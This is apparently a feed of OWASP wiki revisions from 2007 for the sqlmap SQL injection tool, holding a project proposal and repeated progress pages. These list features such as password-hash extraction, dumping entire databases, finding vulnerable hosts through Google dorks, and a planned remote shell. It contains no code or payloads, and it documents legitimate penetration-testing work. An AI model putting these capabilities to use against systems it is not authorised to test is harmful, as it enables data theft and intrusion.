[http://sqlmap.sourceforge.net sqlmap] is an automatic SQL injection tool entirely developed in [http://www.python.org Python]. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
=== Long-term vision for the project ===&lt;br /&gt;
&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible. In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22932</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22932"/>
				<updated>2007-11-04T20:49:29Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Accomplished objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[100%]''' Add support to extract database users password hash&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
=== September 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/column are specified to be dumped. Some more minor fixes in all three DBMS plugins&lt;br /&gt;
* Important fixes in ''lib/option.py'' to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function ''__setCSVDir()'' and fixed also in ''lib/dump.py''&lt;br /&gt;
* Minor enhancement in ''lib/injection.py'' to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (''q'') the for cycle when using the google dork option (''-g'')&lt;br /&gt;
* Minor fix in ''lib/request.py'' to properly encode the url to request in case the &amp;quot;fixed&amp;quot; part of the url has blank spaces&lt;br /&gt;
* More minor layout enhancements in some libraries&lt;br /&gt;
* Updated ChangeLog and TODO documentation files&lt;br /&gt;
&lt;br /&gt;
=== October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support for Oracle database management system&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on Microsoft SQL Server&lt;br /&gt;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries, ''--exclude-sysdbs''&lt;br /&gt;
* Major code refactoring: strongly slightned and adapted plugins code and DBMS strictly specific methods, centralized the queries method to ''lib/query.php'' and the queries to an XML file, ''xml/queries.xml'', implemented a function and a class to parse such XML file, renamed a lot of functions and variables to let the name be more self explained&lt;br /&gt;
* Minor fix in other libraries to avoid ''extra'' parameter when calling ''UnionUse.unionUse()''&lt;br /&gt;
* Enhancement in plugins so the column type is not more enumerated when it's not necessary to dump table entries, since we need to know in this case only the column name&lt;br /&gt;
* Major fix in plugins and in ''lib/dump.py'' to sort both column names and entries when dumping table entries&lt;br /&gt;
* Major fix in plugins to correctly handle the ''-C'' command line argument to dump table values from&lt;br /&gt;
* Code refactoring in ''lib/request.py'' ''getInband()'' method&lt;br /&gt;
* Major code review and restyling in plugins&lt;br /&gt;
* Minor layout improvement in ''lib/resume.py''&lt;br /&gt;
* Minor fix in ''getValue()'' call in plugins&lt;br /&gt;
* Minor fix in ''lib/option.py'' to correctly handle one-line User-Agent file&lt;br /&gt;
* Added ''__cleanupParameters()'' method in ''lib/option.py''&lt;br /&gt;
* Some enhancement in ''lib/dump.py'' to correctly handle also the ''-e'' command line argument&lt;br /&gt;
* Updated all documentation files, mainly README ([http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.html HTML] and [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.pdf PDF])&lt;br /&gt;
&lt;br /&gt;
=== November 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Added ''lib/smdict.py'' with ''sqlmapDict'' object definition used as the &amp;quot;knowledge base&amp;quot; for ''self.args'' and for queries object&lt;br /&gt;
* Added ''Common.getDocRoot()'' and ''Common.getDirectories()'' functions for further development ;)&lt;br /&gt;
* Added ''Common.setDbms()'' function to be used by plugin modules to set ''self.args.fingerprint'' and save remote DBMS value in log file&lt;br /&gt;
* Added Oracle DBMS 11i detection in Oracle plugin&lt;br /&gt;
* Updated documentation files&lt;br /&gt;
* Complete code refactoring and cleanup&lt;br /&gt;
* sqlmap 0.5 is out with all SpoC objectives accomplished and a lot of enhancements implemented too&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22589</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22589"/>
				<updated>2007-10-23T15:58:10Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== Accomplished objectives at 23rd of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[100%]''' Add support to extract database users password hash&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
=== Ongoing work at 23rd of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
=== September 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/column are specified to be dumped. Some more minor fixes in all three DBMS plugins&lt;br /&gt;
* Important fixes in ''lib/option.py'' to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function ''__setCSVDir()'' and fixed also in ''lib/dump.py''&lt;br /&gt;
* Minor enhancement in ''lib/injection.py'' to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (''q'') the for cycle when using the google dork option (''-g'')&lt;br /&gt;
* Minor fix in ''lib/request.py'' to properly encode the url to request in case the &amp;quot;fixed&amp;quot; part of the url has blank spaces&lt;br /&gt;
* More minor layout enhancements in some libraries&lt;br /&gt;
* Updated ChangeLog and TODO documentation files&lt;br /&gt;
&lt;br /&gt;
=== October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support for Oracle database management system&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on Microsoft SQL Server&lt;br /&gt;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries, ''--exclude-sysdbs''&lt;br /&gt;
* Major code refactoring: strongly slightned and adapted plugins code and DBMS strictly specific methods, centralized the queries method to ''lib/query.php'' and the queries to an XML file, ''xml/queries.xml'', implemented a function and a class to parse such XML file, renamed a lot of functions and variables to let the name be more self explained&lt;br /&gt;
* Minor fix in other libraries to avoid ''extra'' parameter when calling ''UnionUse.unionUse()''&lt;br /&gt;
* Enhancement in plugins so the column type is not more enumerated when it's not necessary to dump table entries, since we need to know in this case only the column name&lt;br /&gt;
* Major fix in plugins and in ''lib/dump.py'' to sort both column names and entries when dumping table entries&lt;br /&gt;
* Major fix in plugins to correctly handle the ''-C'' command line argument to dump table values from&lt;br /&gt;
* Code refactoring in ''lib/request.py'' ''getInband()'' method&lt;br /&gt;
* Major code review and restyling in plugins&lt;br /&gt;
* Minor layout improvement in ''lib/resume.py''&lt;br /&gt;
* Minor fix in ''getValue()'' call in plugins&lt;br /&gt;
* Minor fix in ''lib/option.py'' to correctly handle one-line User-Agent file&lt;br /&gt;
* Added ''__cleanupParameters()'' method in ''lib/option.py''&lt;br /&gt;
* Some enhancement in ''lib/dump.py'' to correctly handle also the ''-e'' command line argument&lt;br /&gt;
* Updated all documentation files, mainly README ([http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.html HTML] and [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.pdf PDF])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22586</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22586"/>
				<updated>2007-10-23T15:55:25Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== Accomplished objectives at 23rd of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[100%]''' Add support to extract database users password hash&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
=== Ongoing work at 23rd of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[SpoC]''' Added support for query ETA (Estimated Time of Arrival) real time calculation (''--eta'')&lt;br /&gt;
* '''[SpoC]''' Added Microsoft SQL Server extensive DBMS fingerprint checks based upon extensive infogathering on ''@@version'' matching on an XML file to get also the exact patching level of the DBMS&lt;br /&gt;
* '''[SpoC]''' Improved logging functionality: passed from banal ''print'' to Python native logging library&lt;br /&gt;
* Added DBMS fingerprint based also upon HTML error messages parsing by a ''xml.sax'' function/class (defined in ''lib/parser.py'') which read an XML file defining default error messages for each supported DBMS&lt;br /&gt;
* Added the possibility to specify ''mssql'', ''pgsql'' as ''--remote-dbms'' values&lt;br /&gt;
&lt;br /&gt;
=== June 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Improved UNION SELECT check so now it works with five different DBMS because it uses the ''xml/errors.xml'' file to recognize HTML error messages and correctly identify if the inband SQL injection performed provided good results or not&lt;br /&gt;
* Updated documentation&lt;br /&gt;
* Layout fixes&lt;br /&gt;
&lt;br /&gt;
=== July 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Extended inband SQL injection functionality (''--union-use'') to all other possible queries since it only worked with ''-e'' and ''--file'' on all DMBS plugins&lt;br /&gt;
* '''[SpoC]''' Added a fuzzer function with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting (''txt/fuzz_vectors.txt'', ''Common.passiveFuzzing()'', ''lib/settings.py'' and DBMS plugins)&lt;br /&gt;
* '''[SpoC]''' Reviewed HTTP request library (''lib/request.py'') to support the extended inband SQL injection functionality. Splitted ''getValue()'' into ''getInband()'' and ''getBlind()''&lt;br /&gt;
* '''[SpoC]''' Major enhancements in common library and added ''checkForBrackets()'' method to check if the bracket(s) are needed to perform a UNION query SQL injection attack&lt;br /&gt;
* Implemented ''--dump-all'' functionality to dump entire DBMS data from all databases tables&lt;br /&gt;
* Imlemented in ''Dump.dbTableValues()'' method the CSV file dumped data automatic saving in ''csv/'' folder by default&lt;br /&gt;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in ''xml/errors.xml''&lt;br /&gt;
* Renamed DMBS plugins&lt;br /&gt;
&lt;br /&gt;
=== September 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/column are specified to be dumped. Some more minor fixes in all three DBMS plugins&lt;br /&gt;
* Important fixes in ''lib/option.py'' to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function ''__setCSVDir()'' and fixed also in ''lib/dump.py''&lt;br /&gt;
* Minor enhancement in ''lib/injection.py'' to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (''q'') the for cycle when using the google dork option (''-g'')&lt;br /&gt;
* Minor fix in ''lib/request.py'' to properly encode the url to request in case the &amp;quot;fixed&amp;quot; part of the url has blank spaces&lt;br /&gt;
* More minor layout enhancements in some libraries&lt;br /&gt;
* Updated ChangeLog and TODO documentation files&lt;br /&gt;
&lt;br /&gt;
=== October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Add support for Oracle database management system&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on Microsoft SQL Server&lt;br /&gt;
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries, ''--exclude-sysdbs''&lt;br /&gt;
* Major code refactoring: strongly slightned and adapted plugins code and DBMS strictly specific methods, centralized the queries method to ''lib/query.php'' and the queries to an XML file, ''xml/queries.xml'', implemented a function and a class to parse such XML file, renamed a lot of functions and variables to let the name be more self explained&lt;br /&gt;
* Minor fix in other libraries to avoid ''extra'' parameter when calling ''UnionUse.unionUse()''&lt;br /&gt;
* Enhancement in plugins so the column type is not more enumerated when it's not necessary to dump table entries, since we need to know in this case only the column name&lt;br /&gt;
* Major fix in plugins and in ''lib/dump.py'' to sort both column names and entries when dumping table entries&lt;br /&gt;
* Major fix in plugins to correctly handle the ''-C'' command line argument to dump table values from&lt;br /&gt;
* Code refactoring in ''lib/request.py'' ''getInband()'' method&lt;br /&gt;
* Major code review and restyling in plugins&lt;br /&gt;
* Minor layout improvement in ''lib/resume.py''&lt;br /&gt;
* Minor fix in ''getValue()'' call in plugins&lt;br /&gt;
* Minor fix in ''lib/option.py'' to correctly handle one-line User-Agent file&lt;br /&gt;
* Added ''__cleanupParameters()'' method in ''lib/option.py''&lt;br /&gt;
* Some enhancement in ''lib/dump.py'' to correctly handle also the ''-e'' command line argument&lt;br /&gt;
* Updated all documentation files, mainly README ([http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.html HTML] and [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/README.pdf PDF])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/*checkout*/sqlmap/doc/ChangeLog sqlmap ChangeLog]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap?view=rev sqlmap last SVN revision log message]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22584</id>
		<title>SpoC 007 - SqlMap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SqlMap&amp;diff=22584"/>
				<updated>2007-10-23T15:53:53Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''AoC Candidate''':  Bernardo Damele&lt;br /&gt;
&lt;br /&gt;
'''Project coordinator''': Dinis Cruz&lt;br /&gt;
&lt;br /&gt;
'''Project Progress''': 90% Complete, [[SpoC 007 - SQLMap - Progress Page|Progress Page]]&lt;br /&gt;
&lt;br /&gt;
==   Bernardo Damele - SQLMap ==&lt;br /&gt;
&lt;br /&gt;
=== Executive Summary ===&lt;br /&gt;
&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic SQL injection tool entirely developed in [http://www.python.org Python]. It is capable to perform an extensive database management system back-end fingerprint, retrieve remote DBMS databases, usernames, tables, columns, enumerate entire DBMS, read system files and much more taking advantage of web application programming security flaws that lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
=== Objectives for OWASP Spring of Code 2007 ===&lt;br /&gt;
&lt;br /&gt;
* Add support for Oracle database management system&lt;br /&gt;
* Add support to extract database users password hash&lt;br /&gt;
* Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
* Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* Improve logging functionality &lt;br /&gt;
&lt;br /&gt;
=== Long-term vision for the project ===&lt;br /&gt;
&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible. In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
=== Why I should be sponsored for the project ===&lt;br /&gt;
&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap homepage]&lt;br /&gt;
* [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap SVN repository web interface]&lt;br /&gt;
* [https://sourceforge.net/project/showfiles.php?group_id=171598&amp;amp;package_id=196107 sqlmap SourceForge File List page]&lt;br /&gt;
* [http://sqlmap.sourceforge.net/dev/index.html sqlmap development documentation]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Selection Back to SpoC 007 Selection page]'''&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22543</id>
		<title>SpoC 007 - SQLMap - Progress Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SpoC_007_-_SQLMap_-_Progress_Page&amp;diff=22543"/>
				<updated>2007-10-22T10:36:31Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Objectives for OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== Accomplished objectives at 11st of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[100%]''' Add support to extract database users password hash&lt;br /&gt;
* '''[100%]''' Extend inband SQL injection functionality to all other possible queries&lt;br /&gt;
* '''[100%]''' Add Microsoft SQL Server database fingerprint&lt;br /&gt;
* '''[100%]''' Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting&lt;br /&gt;
* '''[100%]''' Add support for query ETA (Estimated Time of Arrival) real time calculation&lt;br /&gt;
* '''[100%]''' Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
* '''[100%]''' Improve logging functionality&lt;br /&gt;
&lt;br /&gt;
=== Ongoing work at 11st of October 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[50%]''' Add support for Oracle database management system&lt;br /&gt;
* '''[0%]''' Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Changes in sqlmap during OWASP Spring of Code 2007 ==&lt;br /&gt;
&lt;br /&gt;
=== May 2007 ===&lt;br /&gt;
&lt;br /&gt;
* '''[SpoC]''' Added support to extract database users password hash on MySQL and PostgreSQL&lt;br /&gt;
* '''[SpoC]''' Improved Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions&lt;br /&gt;
